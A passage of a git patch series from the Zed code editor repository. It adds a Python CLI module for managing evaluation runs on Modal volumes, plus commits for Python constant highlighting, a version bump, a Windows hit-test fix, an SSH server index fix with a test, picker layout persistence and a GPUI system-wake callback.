+            raise RuntimeError(
+                f"Failed to install or start judge proxy (exit {result.return_code}){detail}"
+            )
diff --git a/crates/eval_cli/zed_eval/volume.py b/crates/eval_cli/zed_eval/volume.py
new file mode 100644
index 00000000000000..c0bdebfe70403b
--- /dev/null
+++ b/crates/eval_cli/zed_eval/volume.py
@@ -0,0 +1,254 @@
+from __future__ import annotations
+
+import argparse
+import subprocess
+import sys
+import tarfile
+import time
+from pathlib import Path
+
+from . import run_index, source
+from .common import (
+    default_namespace,
+    deployed_function,
+    print_json,
+    print_table,
+    resolve_run_location,
+    run_command,
+    safe_extract_archive,
+)
+
+RECENT_RUN_COLUMNS = [
+    ("created_at", "created"),
+    ("run_id", "run"),
+    ("experiment_name", "experiment"),
+    ("namespace", "namespace"),
+    ("agent_model", "model"),
+    ("judge_preset", "judge"),
+    ("build_id", "build"),
+    ("suite_id", "suite"),
+]
+REMOTE_RUN_COLUMNS = [
+    ("updated_at", "updated"),
+    ("namespace", "namespace"),
+    ("experiment_name", "experiment"),
+    ("run_id", "run"),
+    ("status", "status"),
+    ("agent_model", "model"),
+    ("judge_preset", "judge"),
+    ("build_id", "build"),
+    ("suite_id", "suite"),
+]
+BUILD_COLUMNS = [
+    ("built_at_utc", "built"),
+    ("build_id", "build"),
+    ("ready", "ready"),
+    ("base_sha", "base"),
+    ("patch_sha256", "patch"),
+]
+SUITE_COLUMNS = [
+    ("part", "part"),
+    ("experiment_name", "experiment"),
+    ("run_id", "run"),
+    ("status", "status"),
+    ("updated_at", "updated"),
+    ("trial_count", "trials"),
+]
+
+
+def volume_get(
+    args: argparse.Namespace, remote_path: str, local_path: str
+) -> subprocess.CompletedProcess[str]:
+    return run_command(
+        ["modal", "volume", "get", args.volume, remote_path, local_path],
+        capture=local_path == "-",
+    )
+
+
+def read_volume_text(args: argparse.Namespace, remote_path: str) -> str:
+    result = volume_get(args, remote_path, "-")
+    return result.stdout
+
+
+def build_ready_on_volume(args: argparse.Namespace, build_id: str) -> bool:
+    try:
+        read_volume_text(args, f"builds/{build_id}/READY")
+        return True
+    except (subprocess.CalledProcessError, OSError):
+        return False
+
+
+def ensure_volume_exists(args: argparse.Namespace) -> int:
+    print(f"\nEnsuring Modal volume '{args.volume}' exists...")
+    try:
+        result = subprocess.run(
+            ["modal", "volume", "create", args.volume],
+            text=True,
+            capture_output=True,
+            check=True,
+        )
+        if result.stdout:
+            print(result.stdout, end="")
+    except subprocess.CalledProcessError as error:
+        output = (error.stdout or "") + (error.stderr or "")
+        if "already exists" in output.lower():
+            print(f"Volume '{args.volume}' already exists; continuing.")
+        else:
+            if output:
+                print(output, end="", file=sys.stderr)
+            return error.returncode
+    return 0
+
+
+def print_rows(
+    rows: list[dict], columns: list[tuple[str, str]], *, as_json: bool = False
+) -> None:
+    if as_json:
+        print_json(rows)
+    else:
+        print_table(rows, columns)
+
+
+def run_remote_prefix(args: argparse.Namespace, run_id: str) -> str:
+    namespace, experiment_name = resolve_run_location(args, run_id)
+    return f"runs/{namespace}/{experiment_name}/{run_id}"
+
+
+def read_run_file(args: argparse.Namespace, file_name: str) -> str:
+    run_id = resolve_run_id(args)
+    return read_volume_text(args, f"{run_remote_prefix(args, run_id)}/{file_name}")
+
+
+def suite_rows(args: argparse.Namespace) -> list[dict]:
+    namespace = default_namespace(args)
+    return deployed_function(args, "suite_status").remote(namespace, args.suite_id)
+
+
+def suite_member_args(args: argparse.Namespace, row: dict) -> argparse.Namespace:
+    run_args = argparse.Namespace(**vars(args))
+    run_args.experiment_name = row["experiment_name"]
+    run_args.run_id = row["run_id"]
+    return run_args
+
+
+def resolve_run_id(args: argparse.Namespace) -> str:
+    """Return the run id to act on, defaulting to the most recent local run.
+
+    Commands like `status`/`logs` accept no run id at all, in which case we use
+    the most recently launched run recorded in the local index so a bare
+    `zed-eval status` answers "how's my latest run doing?".
+    """
+    run_id = getattr(args, "run_id", None)
+    if run_id:
+        return run_id
+    entry = run_index.most_recent()
+    if not entry:
+        raise ValueError(
+            "no run id given and the local run index is empty. Launch a run "
+            "first, or pass a run id explicitly."
+        )
+    args.run_id = entry["run_id"]
+    print(
+        f"(no run id given; using most recent: {entry['run_id']} / "
+        f"{entry.get('experiment_name')})",
+        file=sys.stderr,
+    )
+    return entry["run_id"]
+
+
+def command_runs(args: argparse.Namespace) -> int:
+    entries = run_index.recent(args.limit)
+    if getattr(args, "json", False):
+        print_json(entries)
+        return 0
+    if not entries:
+        print(
+            "No runs recorded locally yet. Launch a run, or use "
+            "`zed-eval list --details` to query runs on the volume."
+        )
+        return 0
+    print_table(entries, RECENT_RUN_COLUMNS)
+    return 0
+
+
+def command_list(args: argparse.Namespace) -> int:
+    namespace = None if args.all_namespaces else default_namespace(args)
+    experiment_name = getattr(args, "experiment_name", None)
+    if experiment_name:
+        experiment_name = source.sanitize_namespace(experiment_name)
+    if args.details or args.json:
+        rows = deployed_function(args, "list_runs").remote(
+            namespace, experiment_name, args.limit
+        )
+        print_rows(rows, REMOTE_RUN_COLUMNS, as_json=args.json)
+        return 0
+    remote_path = (
+        f"runs/{namespace}/{experiment_name}/"
+        if experiment_name
+        else f"runs/{namespace}/"
+    )
+    run_command(["modal", "volume", "ls", args.volume, remote_path])
+    return 0
+
+
+def command_builds(args: argparse.Namespace) -> int:
+    if args.details or args.json:
+        rows = deployed_function(args, "list_builds").remote(args.limit)
+        print_rows(rows, BUILD_COLUMNS, as_json=args.json)
+        return 0
+    run_command(["modal", "volume", "ls", args.volume, "builds/"])
+    return 0
+
+
+def command_status(args: argparse.Namespace) -> int:
+    # One-shot status ping: the controller's state.json only carries a coarse
+    # status (pending -> running -> completed/failed), so there is no per-trial
+    # progress worth following. Print it once and return.
+    print(read_run_file(args, "state.json"), end="")
+    return 0
+
+
+def command_logs(args: argparse.Namespace) -> int:
+    print(read_run_file(args, "controller.log"), end="")
+    return 0
+
+
+def command_fetch(args: argparse.Namespace) -> int:
+    jobs_dir = Path(args.jobs_dir).expanduser()
+    jobs_dir.mkdir(parents=True, exist_ok=True)
+    temporary_archive = jobs_dir / f".{args.run_id}.tar.gz"
+    remote_path = f"{run_remote_prefix(args, args.run_id)}/harbor-job.tar.gz"
+    print(f"Fetching {args.volume}:/{remote_path} -> {temporary_archive}")
+    volume_get(args, remote_path, str(temporary_archive))
+    with tarfile.open(temporary_archive, "r:gz") as archive:
+        safe_extract_archive(archive, jobs_dir)
+    temporary_archive.unlink(missing_ok=True)
+    print(f"Extracted Harbor job under {jobs_dir / args.run_id}")
+    return 0
+
+
+def command_suite_status(args: argparse.Namespace) -> int:
+    print_rows(suite_rows(args), SUITE_COLUMNS, as_json=args.json)
+    return 0
+
+
+def command_suite_logs(args: argparse.Namespace) -> int:
+    rows = suite_rows(args)
+    while True:
+        for row in rows:
+            print(
+                f"\n=== {row['part']} / {row['experiment_name']} / {row['run_id']} ==="
+            )
+            run_args = suite_member_args(args, row)
+            run_args.follow = False
+            command_logs(run_args)
+        if not args.follow:
+            return 0
+        time.sleep(args.interval)
+
+
+def command_suite_fetch(args: argparse.Namespace) -> int:
+    result = 0
+    for row in suite_rows(args):
+        result = command_fetch(suite_member_args(args, row)) or result
+    return result

From e0878c49896a36e4f5b8b14f1c9ac36e2ee00c85 Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Wed, 24 Jun 2026 23:37:58 +0800
Subject: [PATCH 084/772] grammars: Add semantic token rule for Python
 constants (#59811)

# Objective

In Python, using variables in all uppercase letters signals that the
variable is a constant. In Zed's built-in Python grammar, this
convention is respected. Similarly, the `ty` language server has a rule
for this:


https://github.com/astral-sh/ruff/blob/e39ded7e89f503d892217364f924b38362fb9a66/crates/ty_ide/src/semantic_tokens.rs#L264-L267


https://github.com/astral-sh/ruff/blob/e39ded7e89f503d892217364f924b38362fb9a66/crates/ty_ide/src/semantic_tokens.rs#L356-L358

It returns a `"readonly"` token modifier if an item is determined to be
a constant. However, this specific modifier is not currently respected
in Zed. Consequently, when using `ty` as the language server (which is
expected to be a common setup in the near future, similar to `ruff` and
`uv`), and enable semantic token highlighting, these constants are
highlighted as normal variables.

## Solution

- Added a new semantic token rule in
`crates/grammars/src/python/semantic_token_rules.json` to provide
highlighting for constants.

## Testing

- This change primarily affects the UI and has been tested locally. A
before-and-after comparison is provided below in the Showcase section.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Click to view showcase</summary>

| Before | After |
| :---: | :---: |
| <img width="441" height="208" alt="highlight_before"
src="https://github.com/user-attachments/assets/64cc28ba-32b6-4620-a212-8f7d43f54821"
/> | <img width="441" height="208" alt="highlight_after"
src="https://github.com/user-attachments/assets/133919fd-03c8-4f6c-9bf9-9efa2610f050"
/> |
| <img width="498" height="145" alt="highlight_tree_before"
src="https://github.com/user-attachments/assets/b79f4036-65e4-4e4e-b0e9-e653529e114d"
/> | <img width="498" height="145" alt="highlight_tree_after"
src="https://github.com/user-attachments/assets/e0c3ae74-46b4-4d06-895b-51da69d410c5"
/> |
</details>

---

Release Notes:

- Improved semantic highlighting for Python constants when using the
`ty` language server.
---
 crates/grammars/src/python/semantic_token_rules.json | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/crates/grammars/src/python/semantic_token_rules.json b/crates/grammars/src/python/semantic_token_rules.json
index b73bae962fe00f..bd26f536c006d6 100644
--- a/crates/grammars/src/python/semantic_token_rules.json
+++ b/crates/grammars/src/python/semantic_token_rules.json
@@ -11,5 +11,10 @@
   {
     "token_type": "builtinConstant",
     "style": ["constant.builtin"]
+  },
+  {
+    "token_type": "variable",
+    "token_modifiers": ["readonly"],
+    "style": ["constant"]
   }
 ]

From 3b2acfe0adb53a6d61c9dc2d2918ccdc05d2874c Mon Sep 17 00:00:00 2001
From: "zed-zippy[bot]" <234243425+zed-zippy[bot]@users.noreply.github.com>
Date: Wed, 24 Jun 2026 15:45:08 +0000
Subject: [PATCH 085/772] Bump Zed to v1.10.0 (#59834)

Release Notes:

- N/A

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 Cargo.lock            | 2 +-
 crates/zed/Cargo.toml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 4e1f6c99023f3d..6f0590bd0ccb75 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -22927,7 +22927,7 @@ dependencies = [
 
 [[package]]
 name = "zed"
-version = "1.9.0"
+version = "1.10.0"
 dependencies = [
  "acp_thread",
  "acp_tools",
diff --git a/crates/zed/Cargo.toml b/crates/zed/Cargo.toml
index e0dbaf5e228a08..50099f28a4a2ed 100644
--- a/crates/zed/Cargo.toml
+++ b/crates/zed/Cargo.toml
@@ -2,7 +2,7 @@
 description = "The fast, collaborative code editor."
 edition.workspace = true
 name = "zed"
-version = "1.9.0"
+version = "1.10.0"
 publish.workspace = true
 license = "GPL-3.0-or-later"
 authors = ["Zed Team <hi@zed.dev>"]

From 9ac117693b20d4b2dd1f72af655524bed2a0ddcc Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Wed, 24 Jun 2026 18:31:35 +0200
Subject: [PATCH 086/772] gpui_windows: Fix immovable windows skipping hit
 testing entirely (#59816)

Prior to this, marking a window as immovable would prevent the title bar
buttons working on windows.

Release Notes:

- N/A
---
 crates/gpui_windows/src/events.rs | 19 ++++++++-----------
 1 file changed, 8 insertions(+), 11 deletions(-)

diff --git a/crates/gpui_windows/src/events.rs b/crates/gpui_windows/src/events.rs
index f101d82f017d7b..619765a2fd6abe 100644
--- a/crates/gpui_windows/src/events.rs
+++ b/crates/gpui_windows/src/events.rs
@@ -888,7 +888,7 @@ impl WindowsWindowInner {
     }
 
     fn handle_hit_test_msg(&self, handle: HWND, lparam: LPARAM) -> Option<isize> {
-        if !self.is_movable || self.state.is_fullscreen() {
+        if self.state.is_fullscreen() {
             return None;
         }
 
@@ -899,16 +899,13 @@ impl WindowsWindowInner {
                 .callbacks
                 .hit_test_window_control
                 .set(Some(callback));
-            if let Some(area) = area {
-                match area {
-                    WindowControlArea::Drag => Some(HTCAPTION as _),
-                    WindowControlArea::Close => return Some(HTCLOSE as _),
-                    WindowControlArea::Max => return Some(HTMAXBUTTON as _),
-                    WindowControlArea::Min => return Some(HTMINBUTTON as _),
-                }
-            } else {
-                None
-            }
+            area.and_then(|area| match area {
+                WindowControlArea::Drag if self.is_movable => Some(HTCAPTION as _),
+                WindowControlArea::Drag => None,
+                WindowControlArea::Close => Some(HTCLOSE as _),
+                WindowControlArea::Max => Some(HTMAXBUTTON as _),
+                WindowControlArea::Min => Some(HTMINBUTTON as _),
+            })
         } else {
             None
         };

From a1d0015e70b22c6f8bd2da37c1e0861b2b55b82b Mon Sep 17 00:00:00 2001
From: Ramon <55579979+van-sprundel@users.noreply.github.com>
Date: Wed, 24 Jun 2026 18:44:08 +0200
Subject: [PATCH 087/772] recent_projects: Fix read ssh server index always
 being 0 (#59817)

# Objective

Fixes https://github.com/zed-industries/zed/issues/59676

## Solution

Right now the queue / fetch logic is mixing async and sync flows. A task
might append something to the queue, but the queue fetching does not
respect/wait on that. Making this synchronous and in-memory fixes this.

`add_ssh_server` also appends it to the end of the queue, so we need to
get the last index, not index 0.

## Testing

I manually tested it before and after by reproducing the steps in the
original issue. Added a regression test afterwards.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A

---------

Co-authored-by: Yara <git@yara.blue>
---
 crates/recent_projects/src/remote_servers.rs | 88 ++++++++++++++++----
 1 file changed, 71 insertions(+), 17 deletions(-)

diff --git a/crates/recent_projects/src/remote_servers.rs b/crates/recent_projects/src/remote_servers.rs
index fc883849ecbf41..f61585c047bb83 100644
--- a/crates/recent_projects/src/remote_servers.rs
+++ b/crates/recent_projects/src/remote_servers.rs
@@ -36,10 +36,7 @@ use std::{
     borrow::Cow,
     collections::BTreeSet,
     path::PathBuf,
-    sync::{
-        Arc,
-        atomic::{self, AtomicBool, AtomicUsize},
-    },
+    sync::{Arc, atomic::AtomicBool},
 };
 
 use ui::{
@@ -2962,18 +2959,7 @@ impl RemoteServerProjects {
         ssh_config_host: &SharedString,
         cx: &mut Context<'_, Self>,
     ) -> SshServerIndex {
-        let new_ix = Arc::new(AtomicUsize::new(0));
-
-        let update_new_ix = new_ix.clone();
-        self.update_settings_file(cx, move |settings, _| {
-            update_new_ix.store(
-                settings
-                    .ssh_connections
-                    .as_ref()
-                    .map_or(0, |connections| connections.len()),
-                atomic::Ordering::Release,
-            );
-        });
+        let new_ix = RemoteSettings::get_global(cx).ssh_connections().count();
 
         self.add_ssh_server(
             SshConnectionOptions {
@@ -2983,7 +2969,7 @@ impl RemoteServerProjects {
             cx,
         );
         self.mode = Mode::default_mode(&self.ssh_config_servers, cx);
-        SshServerIndex(new_ix.load(atomic::Ordering::Acquire))
+        SshServerIndex(new_ix)
     }
 }
 
@@ -3161,3 +3147,71 @@ mod filter_tests {
         assert!(state.filtered_servers.is_none());
     }
 }
+
+#[cfg(test)]
+mod create_host_tests {
+    use super::*;
+    use gpui::TestAppContext;
+
+    fn init_test(cx: &mut TestAppContext) -> Arc<AppState> {
+        cx.update(|cx| {
+            let state = AppState::test(cx);
+            crate::init(cx);
+            editor::init(cx);
+            state
+        })
+    }
+
+    #[gpui::test]
+    async fn test_create_host_from_ssh_config_returns_new_connection_index(
+        cx: &mut TestAppContext,
+    ) {
+        let app_state = init_test(cx);
+        let fs: Arc<dyn Fs> = app_state.fs.clone();
+
+        cx.update(|cx| {
+            update_settings_file(fs.clone(), cx, |settings, _| {
+                settings.remote.ssh_connections = Some(vec![SshConnection {
+                    host: "host-a.example".to_string(),
+                    projects: BTreeSet::from_iter([RemoteProject {
+                        paths: vec!["/path/to/project-a".to_string()],
+                    }]),
+                    ..Default::default()
+                }]);
+            });
+        });
+        cx.run_until_parked();
+
+        let project = Project::test(fs.clone(), [], cx).await;
+        let (workspace, cx) =
+            cx.add_window_view(|window, cx| Workspace::test_new(project, window, cx));
+
+        let modal = workspace.update_in(cx, |_workspace, window, cx| {
+            let weak = cx.weak_entity();
+            cx.new(|cx| RemoteServerProjects::new(false, fs.clone(), window, weak, cx))
+        });
+
+        let host_b = SharedString::from("host-b.example");
+        let new_index = modal.update(cx, |modal, cx| {
+            modal.create_host_from_ssh_config(&host_b, cx)
+        });
+        cx.run_until_parked();
+
+        let connections = cx.update(|_, cx| {
+            RemoteSettings::get_global(cx)
+                .ssh_connections()
+                .collect::<Vec<_>>()
+        });
+
+        assert_eq!(connections.len(), 2);
+        assert_eq!(connections[0].host, "host-a.example");
+        assert_eq!(connections[1].host, "host-b.example");
+        assert_eq!(
+            connections[new_index.0].host, "host-b.example",
+            "returned index should point at the newly created host"
+        );
+
+        assert_eq!(connections[0].projects.len(), 1);
+        assert!(connections[new_index.0].projects.is_empty());
+    }
+}

From 64b8491fc63bcf6c894739e137c333c865e421ca Mon Sep 17 00:00:00 2001
From: ozacod <47009516+ozacod@users.noreply.github.com>
Date: Wed, 24 Jun 2026 20:19:23 +0300
Subject: [PATCH 088/772] picker: Fix layout persistency with preview setting
 change (#59827)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Summary

When you change a picker's preview position (toggle it, or set it
right/below/hidden), that choice should be remembered the next time the
picker opens. Previously it wasn't: the last-used layout was only
written to the database as a side effect of
`store_shape_for_this_layout`, which runs exclusively when a resize
completes (`render.rs`). So changing only the preview position without
also dragging to resize, was forgotten on the next open.

All layout changes funnel through a single chokepoint,
`set_preview_layout`, but it only updated the in-memory `preview.layout`
and reloaded the per-layout shape; it never persisted the layout key.

## Solution

`set_preview_layout` now persists the layout immediately via a new
`store_last_layout` helper, which writes just the
`LAST_PREVIEW_LAYOUT` key — deliberately without writing the current
shape, so a never-resized layout's default size isn't frozen into the
database as if the user had chosen it.

  Both persistence paths are now correct:
  - Resize completes — saves size and layout (unchanged).
- Position-only change (toggle / set right / set below / set hidden)
saves the layout right away.

This applies to every picker with a preview (file finder, text finder),
since the persistence is keyed generically by the picker delegate name.

## Testing

- Manual: open the file and text finder → switch the preview to Below
(or Right) without resizing → close and reopen → it returns in that
position; hide the preview → reopen → it stays hidden. Resizing still
persists size as before.

Release Notes:

- Fixed picker preview position not being remembered when changed
without resizing the picker

---------

Co-authored-by: ozacod <ozacod@users.noreply.github.com>
---
 crates/picker/src/persistence.rs | 20 ++++++++++++++++++++
 crates/picker/src/picker.rs      |  2 ++
 2 files changed, 22 insertions(+)

diff --git a/crates/picker/src/persistence.rs b/crates/picker/src/persistence.rs
index ab61859abd89da..59de6cf8bf2a45 100644
--- a/crates/picker/src/persistence.rs
+++ b/crates/picker/src/persistence.rs
@@ -36,6 +36,26 @@ pub(crate) fn store_shape_for_this_layout(
     });
 }
 
+/// Persist the last-used preview layout without touching the stored shape.
+///
+/// Changing the preview position (e.g. right/below/hidden) without resizing
+/// must still be remembered, so this is called whenever the layout changes.
+pub(crate) fn store_last_layout(
+    picker_delegate: &'static str,
+    preview_layout: Option<preview::Layout>,
+    cx: &App,
+) {
+    let kvp = KeyValueStore::global(cx);
+    db::write_and_log(cx, async move || {
+        kvp.scoped(PICKERS_NAMESPACE)
+            .write(
+                last_layout_key(picker_delegate),
+                layout_as_str(preview_layout).to_string(),
+            )
+            .await
+    });
+}
+
 pub(crate) fn try_load_shape(
     picker_delegate: &'static str,
     preview_layout: impl Into<Option<preview::Layout>>,
diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index c655cb0a463661..352f60168eaed4 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -1260,6 +1260,8 @@ impl<D: PickerDelegate> Picker<D> {
         _window: &mut Window,
         cx: &mut Context<Self>,
     ) {
+        persistence::store_last_layout(D::name(), self.preview.as_ref().map(|_| layout), cx);
+
         let Some(preview) = &mut self.preview else {
             return;
         };

From ee571d3c6991f19caf6f505407d02f3238dfc39e Mon Sep 17 00:00:00 2001
From: Agus Zubiaga <agus@zed.dev>
Date: Wed, 24 Jun 2026 16:59:34 -0300
Subject: [PATCH 089/772] gpui: Add system wake callback (#59831)

# Objective

GPUI apps currently don't have a cross-platform way to react when the
system wakes from sleep.

## Solution

Add `Application::on_system_wake`, backed by platform hooks for macOS,
Windows, and Linux. The platform listeners are registered lazily once an
app installs a wake callback.

## Testing

- N/A

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 crates/gpui/src/app.rs                        | 17 +++++
 crates/gpui/src/platform.rs                   |  1 +
 crates/gpui/src/platform/test/platform.rs     |  2 +
 crates/gpui/src/platform/visual_test.rs       |  2 +
 .../gpui_linux/src/linux/headless/client.rs   | 10 ++-
 crates/gpui_linux/src/linux/platform.rs       | 73 ++++++++++++++++++-
 crates/gpui_linux/src/linux/wayland/client.rs | 13 +++-
 crates/gpui_linux/src/linux/x11/client.rs     | 12 ++-
 crates/gpui_macos/src/platform.rs             | 73 ++++++++++++++++++-
 crates/gpui_web/src/platform.rs               |  2 +
 crates/gpui_windows/src/platform.rs           | 32 +++++++-
 11 files changed, 229 insertions(+), 8 deletions(-)

diff --git a/crates/gpui/src/app.rs b/crates/gpui/src/app.rs
index 794009f5189455..e6ca25ecae075e 100644
--- a/crates/gpui/src/app.rs
+++ b/crates/gpui/src/app.rs
@@ -234,6 +234,23 @@ impl Application {
         self
     }
 
+    /// Invokes a handler when the system wakes from sleep.
+    pub fn on_system_wake<F>(&self, mut callback: F) -> &Self
+    where
+        F: 'static + FnMut(&mut App),
+    {
+        let this = Rc::downgrade(&self.0);
+        self.0
+            .borrow_mut()
+            .platform
+            .on_system_wake(Box::new(move || {
+                if let Some(app) = this.upgrade() {
+                    callback(&mut app.borrow_mut());
+                }
+            }));
+        self
+    }
+
     /// Returns a handle to the [`BackgroundExecutor`] associated with this app, which can be used to spawn futures in the background.
     pub fn background_executor(&self) -> BackgroundExecutor {
         self.0.borrow().background_executor.clone()
diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index 60355b8e2446bd..f2190f8a4007ce 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -188,6 +188,7 @@ pub trait Platform: 'static {
 
     fn on_quit(&self, callback: Box<dyn FnMut()>);
     fn on_reopen(&self, callback: Box<dyn FnMut()>);
+    fn on_system_wake(&self, callback: Box<dyn FnMut()>);
 
     fn set_menus(&self, menus: Vec<Menu>, keymap: &Keymap);
     fn get_menus(&self) -> Option<Vec<OwnedMenu>> {
diff --git a/crates/gpui/src/platform/test/platform.rs b/crates/gpui/src/platform/test/platform.rs
index b3bee3769e063f..bc1ef4e38b95b6 100644
--- a/crates/gpui/src/platform/test/platform.rs
+++ b/crates/gpui/src/platform/test/platform.rs
@@ -414,6 +414,8 @@ impl Platform for TestPlatform {
         unimplemented!()
     }
 
+    fn on_system_wake(&self, _callback: Box<dyn FnMut()>) {}
+
     fn set_menus(&self, _menus: Vec<crate::Menu>, _keymap: &Keymap) {}
     fn set_dock_menu(&self, _menu: Vec<crate::MenuItem>, _keymap: &Keymap) {}
 
diff --git a/crates/gpui/src/platform/visual_test.rs b/crates/gpui/src/platform/visual_test.rs
index 3719a3ee24f9eb..41f93ae7fc802e 100644
--- a/crates/gpui/src/platform/visual_test.rs
+++ b/crates/gpui/src/platform/visual_test.rs
@@ -176,6 +176,8 @@ impl Platform for VisualTestPlatform {
 
     fn on_reopen(&self, _callback: Box<dyn FnMut()>) {}
 
+    fn on_system_wake(&self, _callback: Box<dyn FnMut()>) {}
+
     fn set_menus(&self, _menus: Vec<Menu>, _keymap: &Keymap) {}
 
     fn get_menus(&self) -> Option<Vec<OwnedMenu>> {
diff --git a/crates/gpui_linux/src/linux/headless/client.rs b/crates/gpui_linux/src/linux/headless/client.rs
index 716354a885006e..e127da1f2f24b1 100644
--- a/crates/gpui_linux/src/linux/headless/client.rs
+++ b/crates/gpui_linux/src/linux/headless/client.rs
@@ -23,7 +23,7 @@ impl HeadlessClient {
     pub(crate) fn new() -> Self {
         let event_loop = EventLoop::try_new().unwrap();
 
-        let (common, main_receiver) = LinuxCommon::new(event_loop.get_signal());
+        let (common, main_receiver, wake_receiver) = LinuxCommon::new(event_loop.get_signal());
 
         let handle = event_loop.handle();
 
@@ -35,6 +35,14 @@ impl HeadlessClient {
             })
             .ok();
 
+        handle
+            .insert_source(wake_receiver, |event, _, client: &mut HeadlessClient| {
+                if let calloop::channel::Event::Msg(()) = event {
+                    client.with_common(|common| common.handle_system_wake());
+                }
+            })
+            .ok();
+
         HeadlessClient(Rc::new(RefCell::new(HeadlessClientState {
             event_loop: Some(event_loop),
             _loop_handle: handle,
diff --git a/crates/gpui_linux/src/linux/platform.rs b/crates/gpui_linux/src/linux/platform.rs
index 2eea2e2a0ed16f..f3742f53df5ffc 100644
--- a/crates/gpui_linux/src/linux/platform.rs
+++ b/crates/gpui_linux/src/linux/platform.rs
@@ -14,7 +14,7 @@ use std::{
 };
 
 use anyhow::{Context as _, anyhow};
-use calloop::LoopSignal;
+use calloop::{LoopSignal, channel::Sender};
 use futures::channel::oneshot;
 use gpui_util::{ResultExt as _, new_std_command};
 #[cfg(any(feature = "wayland", feature = "x11"))]
@@ -110,6 +110,7 @@ pub(crate) struct PlatformHandlers {
     pub(crate) will_open_app_menu: Option<Box<dyn FnMut()>>,
     pub(crate) validate_app_menu_command: Option<Box<dyn FnMut(&dyn Action) -> bool>>,
     pub(crate) keyboard_layout_change: Option<Box<dyn FnMut()>>,
+    pub(crate) system_wake: Option<Box<dyn FnMut()>>,
 }
 
 pub(crate) struct LinuxCommon {
@@ -122,11 +123,20 @@ pub(crate) struct LinuxCommon {
     pub(crate) callbacks: PlatformHandlers,
     pub(crate) signal: LoopSignal,
     pub(crate) menus: Vec<OwnedMenu>,
+    wake_sender: Sender<()>,
+    wake_listener_started: bool,
 }
 
 impl LinuxCommon {
-    pub fn new(signal: LoopSignal) -> (Self, PriorityQueueCalloopReceiver<RunnableVariant>) {
+    pub fn new(
+        signal: LoopSignal,
+    ) -> (
+        Self,
+        PriorityQueueCalloopReceiver<RunnableVariant>,
+        calloop::channel::Channel<()>,
+    ) {
         let (main_sender, main_receiver) = PriorityQueueCalloopReceiver::new();
+        let (wake_sender, wake_receiver) = calloop::channel::channel();
 
         #[cfg(any(feature = "wayland", feature = "x11"))]
         let text_system = Arc::new(crate::linux::CosmicTextSystem::new("IBM Plex Sans"));
@@ -149,10 +159,60 @@ impl LinuxCommon {
             callbacks,
             signal,
             menus: Vec::new(),
+            wake_sender,
+            wake_listener_started: false,
         };
 
-        (common, main_receiver)
+        (common, main_receiver, wake_receiver)
     }
+
+    pub(crate) fn start_wake_listener(&mut self) {
+        if !self.wake_listener_started {
+            #[cfg(all(target_os = "linux", any(feature = "wayland", feature = "x11")))]
+            smol::spawn({
+                let wake_sender = self.wake_sender.clone();
+                async move {
+                    if let Err(error) = listen_for_system_wake(wake_sender).await {
+                        log::debug!("failed to listen for system wake events: {error:?}");
+                    }
+                }
+            })
+            .detach();
+
+            self.wake_listener_started = true;
+        }
+    }
+
+    pub(crate) fn handle_system_wake(&mut self) {
+        if let Some(mut callback) = self.callbacks.system_wake.take() {
+            callback();
+            self.callbacks.system_wake = Some(callback);
+        }
+    }
+}
+
+#[cfg(all(target_os = "linux", any(feature = "wayland", feature = "x11")))]
+async fn listen_for_system_wake(wake_sender: Sender<()>) -> anyhow::Result<()> {
+    use futures::StreamExt as _;
+
+    let connection = ashpd::zbus::Connection::system().await?;
+    let proxy = ashpd::zbus::Proxy::new(
+        &connection,
+        "org.freedesktop.login1",
+        "/org/freedesktop/login1",
+        "org.freedesktop.login1.Manager",
+    )
+    .await?;
+    let mut sleep_events = proxy.receive_signal("PrepareForSleep").await?;
+
+    while let Some(message) = sleep_events.next().await {
+        let sleeping = message.body().deserialize::<bool>()?;
+        if !sleeping {
+            wake_sender.send(()).ok();
+        }
+    }
+
+    Ok(())
 }
 
 pub(crate) struct LinuxPlatform<P> {
@@ -485,6 +545,13 @@ impl<P: LinuxClient + 'static> Platform for LinuxPlatform<P> {
         });
     }
 
+    fn on_system_wake(&self, callback: Box<dyn FnMut()>) {
+        self.inner.with_common(|common| {
+            common.callbacks.system_wake = Some(callback);
+            common.start_wake_listener();
+        });
+    }
+
     fn on_app_menu_action(&self, callback: Box<dyn FnMut(&dyn Action)>) {
         self.inner.with_common(|common| {
             common.callbacks.app_menu_action = Some(callback);
